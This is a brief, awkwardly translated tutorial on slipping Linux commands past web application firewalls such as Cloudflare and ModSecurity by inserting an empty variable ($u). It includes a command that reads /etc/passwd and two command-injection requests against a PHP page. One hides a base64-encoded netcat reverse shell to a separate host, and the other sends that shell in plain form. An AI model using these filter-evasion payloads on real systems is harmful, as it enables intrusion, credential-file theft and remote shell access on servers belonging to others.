Linux command to bypass the malicious instructions

When there is a site command is executed by the linux empty variable $ u to bypass regular WAF match:

Use empty variable $ u, linux is empty there may be variable, direct system is regarded as an empty string, an empty variables will not affect the output, we can take this to bypass filters and pattern matching based on regular expressions.
Tips to bypass the CloudFlare WAF and ModSecurityOWASP CRS3 set of core rules introduced

cat$u /etc$u/passwd$u

curl-s "http://192.168.145.5/test.php?file=&/bin$u/echo$u bmMgLWUgL2Jpbi9zaCAxOTIuMTY4LjE0NS4xIDQ0NDQgICAK|/usr$u/bin$u/base64$u -d|/bin$u/sh$u"

curl-s "http://192.168.145.5/test.php?file=&/bin/ nc -e /bin/sh 192.168.145.1 4444"